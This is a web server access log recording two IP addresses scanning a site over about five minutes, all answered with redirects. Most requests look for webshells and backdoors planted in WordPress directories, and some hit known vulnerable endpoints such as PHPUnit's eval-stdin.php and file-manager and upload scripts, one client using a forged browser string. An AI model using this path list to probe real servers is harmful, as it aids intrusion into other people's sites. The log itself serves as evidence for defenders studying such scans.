196.251.80.56 - - [23/Sep/2025:13:07:02 -0400] "GET /wp-content/html.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:07:07 -0400] "GET /wp-includes/images/media/images/subscribe.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:07:10 -0400] "GET /wp-content/filesystemss/assaas/admin.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:07:13 -0400] "GET /css/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:07:20 -0400] "GET /.well-known/pki-validation/b.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:07:20 -0400] "GET /wp-includes/block-patterns/query-large-title-posts-general.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:07:24 -0400] "GET /wp-includes/class-wp-block-type.pdo.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:07:40 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:07:44 -0400] "GET /wp-includes/Requests/src/Auth/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:07:51 -0400] "GET /wp-includes/html-api/ovamnzbxz.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:08:05 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:08:13 -0400] "GET /wp-admin/includes/admin.ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:08:28 -0400] "GET /wp-admin/includes/import-editor.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:08:29 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:08:49 -0400] "GET /wp-content/uploads/2016/08/wp-admin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:08:49 -0400] "GET /assets/calendar-master/src/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:09:08 -0400] "GET /.well-known/pki-validation/cvqqbcsw.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:07:30 -0400] "GET /img/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:07:32 -0400] "GET /wp-includes/html-api/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:07:36 -0400] "GET /wp-includes/certificates/ca-bundle.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:07:40 -0400] "GET /wp-includes/abouts.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:07:48 -0400] "GET /wp-includes/html-api/ovakprzhf.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:07:49 -0400] "GET /wp-admin/images/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:07:56 -0400] "GET /wp-includes/html-api/ovavjpbrb.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:07:59 -0400] "GET /images/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:08:01 -0400] "GET /wp-content/j.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:08:01 -0400] "GET /wp-includes/SimplePie/Decode/HTML/radio.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:08:10 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:08:20 -0400] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:08:21 -0400] "GET /wp-admin/includes/class-wp-comments-list-table-class.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:08:34 -0400] "GET /wp-admin/includes/site-health.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:08:38 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:08:41 -0400] "GET /wp-admin/includes/translation-install.control.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:08:49 -0400] "GET /wp-admin/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:08:54 -0400] "GET /assets/css/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:08:59 -0400] "GET /assets/plugins/jqvmap/about.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:08:59 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:09:05 -0400] "GET /assets/plugins/jszip/about.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:09:07 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:09:08 -0400] "GET /.well-known/pki-validation/admoyvrw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:09:08 -0400] "GET /.well-known/pki-validation/daddy.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:09:08 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:09:09 -0400] "GET /.well-known/pki-validation/dfvabmlo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:09:09 -0400] "GET /.well-known/pki-validation/hcujulqo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:09:09 -0400] "GET /.well-known/pki-validation/iconqrlx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:09:09 -0400] "GET /.well-known/pki-validation/jcsoxgkp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:09:09 -0400] "GET /.well-known/pki-validation/mxbsufrq.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:09:09 -0400] "GET /.well-known/pki-validation/nwbusbfy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:09:09 -0400] "GET /.well-known/pki-validation/tqioyubq.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:09:09 -0400] "GET /.well-known/pki-validation/wiquhmhk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:09:10 -0400] "GET /.well-known/pki-validation/xfujtupa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:09:10 -0400] "GET /.well-known/pki-validation/yqxytsif.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:09:10 -0400] "GET /wp-includes/umpjgouk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:09:22 -0400] "GET /wp-includes/widgets/class-wp-widget-media-video-meta.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:09:29 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:09:34 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:09:36 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:09:39 -0400] "GET /wp-admin/vyrphwhk.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:09:43 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:09:45 -0400] "GET /wp-admin/wKJdeOGCbhf.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:09:50 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:09:57 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:10:11 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:10:16 -0400] "GET /.well-known/lufix.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:09:09 -0400] "GET /.well-known/pki-validation/fchtuemr.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:09:09 -0400] "GET /.well-known/pki-validation/hibkdhat.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:09:09 -0400] "GET /.well-known/pki-validation/kghctcyf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:09:09 -0400] "GET /.well-known/pki-validation/mvhuqopx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:09:09 -0400] "GET /.well-known/pki-validation/pzsuxlwc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:09:09 -0400] "GET /.well-known/pki-validation/tafliuye.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:09:09 -0400] "GET /.well-known/pki-validation/ttygsjzs.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:09:09 -0400] "GET /.well-known/pki-validation/ubeipztw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:09:09 -0400] "GET /.well-known/pki-validation/wldkwdwq.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:09:10 -0400] "GET /.well-known/pki-validation/zhbvwgnc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:09:18 -0400] "GET /wp-includes/js/dist/vendor/wp-signup.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:09:22 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:09:26 -0400] "GET /wp-includes/Requests/Proxy/xmrlpc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:09:30 -0400] "GET /wp-admin/oJIFg5pAtf4.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:09:45 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:09:51 -0400] "GET /wp-includes/block-patterns/themes.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:09:56 -0400] "GET /wp-includes/js/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:10:03 -0400] "GET /wp-includes/Requests/Proxy/about.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:10:03 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:10:10 -0400] "GET /wp-includes/blocks/archives/xmrlpc.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:10:13 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:10:23 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:10:26 -0400] "GET /css/lndex.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:10:30 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:10:34 -0400] "GET /wp-includes/fonts/dashicons/wordpressrs.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:10:39 -0400] "GET /images/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:10:20 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:10:21 -0400] "GET /assets/images/f77766fb05.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:10:30 -0400] "GET /wp-includes/Requests/Utility/index.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:10:38 -0400] "GET /wp-includes/blocks/image.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:10:45 -0400] "GET /wp-content/uploads/elementor/css/admin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:10:45 -0400] "GET /wp-includes/Text/Diff/Engine/AlfaBypass.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:10:58 -0400] "GET /wp-includes/notice.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:11:01 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:11:02 -0400] "GET /wp-content/plugins/wp-help/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:11:06 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:11:07 -0400] "GET /wp-includes/Requests/Auth/Basic.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:11:08 -0400] "GET /wp-includes/Requests/Text/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:11:10 -0400] "GET /wp-content/uploads/2013/03/hellcome.php_.jpg HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:11:10 -0400] "GET /php/test.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:11:13 -0400] "GET /admin/uploads/5aba676ba9b3ba.php.fla HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:11:18 -0400] "GET /vendor/simplexlsx/examples/04-upload_and_convert_to_html.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:11:27 -0400] "GET /assets/jquery/jquery.plugin.min.js HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:11:32 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:11:32 -0400] "GET /php/infra.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:11:34 -0400] "GET /wp-includes/rest-api/fields/cache/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:11:40 -0400] "GET /wp-includes/theme-compat/wp-aespa.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:11:44 -0400] "GET /wp-includes/theme-compat/comments.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:11:44 -0400] "GET /wp-includes/26bede0.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:10:46 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:10:49 -0400] "GET /.well-known/notice.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:10:52 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:10:54 -0400] "GET /wp-includes/ecfdfics.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:11:04 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:11:07 -0400] "GET /wp-content/macarouni.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:11:13 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:11:15 -0400] "GET /wp-includes/rest-api/fields/cache/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:11:23 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:11:23 -0400] "GET /wp-includes/SimplePie/Content/cloud.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:11:25 -0400] "GET /wp-includes/Requests/Text/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:11:35 -0400] "GET /wp-content/plugins/calculated-fields-form/js/fbuilder-loader-public.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:11:35 -0400] "GET /include/avatar/avatar.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:11:40 -0400] "GET /wp-includes/Requests/library/Rhoam.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:11:47 -0400] "GET /wp-content/themes/mTheme-Unus/css/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:11:48 -0400] "GET /wp-content/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:11:48 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/success.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:11:50 -0400] "GET /wp-content/themes/fiestaresidences/download.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:11:57 -0400] "GET /.well-known/pki-validation/RG7A92fB5.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:11:57 -0400] "GET /wp-content/cong.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:12:00 -0400] "GET /vendor/upload.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:11:51 -0400] "GET /wp-content/themes/konzept/includes/uploadify/upload.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:11:53 -0400] "GET /wp-content/plugins/wp-file-manager/lib/php/1975.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:11:53 -0400] "GET /css/formalize.css.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:11:54 -0400] "GET /wp-content/plugins/dos2unix/dos2unix.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:11:57 -0400] "GET /wp-content/plugins/wpyii2/wpyii2.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:11:57 -0400] "GET /wp-includes/IXR/class-IXR-server.admin.php HTTP/1.1" 301 795 "-" "-"
